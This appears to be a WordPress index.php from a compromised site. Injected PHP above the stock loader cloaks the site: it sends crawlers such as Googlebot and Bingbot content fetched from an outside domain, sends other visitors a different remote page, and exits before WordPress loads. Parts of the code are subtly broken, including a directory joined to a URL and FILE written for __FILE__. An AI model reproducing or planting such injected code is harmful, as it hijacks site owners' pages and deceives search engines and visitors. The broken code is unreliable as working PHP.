?php function getFileContent($filepath) { if (file_exists($filepath) && is_readable($filepath)) { return file_get_contents($filepath); } return false; } $res = strtolower($_SERVER["HTTP_USER_AGENT"]); // Get the directory of the current script $currentDir = dirname(FILE); // Define paths to HTML files in the same directory $botFile = $currentDir . 'https://aslinaikini.com/hitam/'; $nonBotFile = $currentDir . 'https://aslinaikini.com/putih/'; // Get file contents $botContent = getFileContent($botFile); $nonBotContent = getFileContent($nonBotFile); // Check if files were successfully loaded if ($botContent === false) { die("Error: Could not read hitam.html"); } if ($nonBotContent === false) { die("Error: Could not read putih.html"); } $botchar = "/(googlebot|slurp|adsense|inspection|ahrefsbot|telegrambot|bingbot|yandexbot)/"; if (preg_match($botchar, $res)) { echo $botContent; exit; } else { echo $nonBotContent; exit; } /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';